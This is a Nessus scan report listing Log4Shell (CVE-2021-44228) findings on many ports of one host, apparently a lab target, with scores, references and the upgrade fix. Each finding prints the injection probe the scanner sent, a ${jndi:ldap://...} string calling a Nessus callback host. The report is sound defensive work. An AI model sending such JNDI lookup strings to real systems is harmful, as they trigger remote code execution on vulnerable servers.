156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/514

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-DzA0pvkZ8jx4NnmqU6Aj${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/1099/rmi_registry

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-AdMW1wN800E8SK65EMpt${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/1524/wild_shell

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-C0lzXVWC0enH8lmrDMwD${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/2049/rpc-nfs

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-QcCBnddsaFMuqRllVpg4${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/2121/ftp

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-gcY11MOYURlWbczAZWak${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/3306/mysql

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-Q5v3UtfmcCkAX3qjRk0j${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/3632

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-N33PBoU12LyZygdqidbn${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/5432/postgresql

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-sYzKGROR7ZTroTGTV0KJ${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/5900/vnc

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-ToCyFAWAN6IfIN9ptrwc${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/6000/x11

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-wYVhtppqsnWZqqh1Lasp${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/6667/irc

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-zhxBtC76WCn0m9wolaDA${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/8009/ajp13

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-5CBzR1CCOHxMmjBYbuZf${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/8180

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-isprOmVXTg1LvWt1CkTL${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156056 - Apache Log4Shell RCE detection via Raw Socket Logging (Direct Check)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

This plugin sends a test string to a set of open ports on the target host. This plugin requires that both the scanner and target machine have internet access.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0596
XREF	IAVA:2021-A-0597
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
XREF	CISA-KNOWN-EXPLOITED:2021/12/24
XREF	CEA-ID:CEA-2021-0052
XREF	CEA-ID:CEA-2023-0004

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2021/12/14, Modified: 2024/03/19

Plugin Output

tcp/8787

```
Nessus was able to detect the vulnerability by sending the following request

${jndi:ldap://log4shell-generic-KfmqBGY2tbl0X4J7U5kH${lower:ten}.w.nessus.org/nessus}Nessus detected
 that the target host performed a DNS lookup on an LDAP host.
```

156257 - Apache Log4Shell RCE detection via callback correlation (Direct Check DNS)

Synopsis

The version of Apache Log4j used on the remote server is affected by a remote code execution vulnerability.

Description

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can explolit this, via a web request to execute arbitrary code with the permission level of the running Java process.

See Also

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

Solution

Upgrade to Apache Log4j version 2.15.0 or later, or apply the vendor mitigation.

Upgrading to the latest versions for Apache Log4j is highly recommended as intermediate versions / patches have known high severity vulnerabilities and the vendor is updating their advisories often as new research and knowledge about the impact of Log4j is discovered. Refer to https://logging.apache.org/log4j/2.x/security.html for the latest versions.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

10.0

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-44228
XREF	IAVA:2021-A-0573
XREF	IAVA:2021-A-0598
XREF	IAVA:0001-A-0650
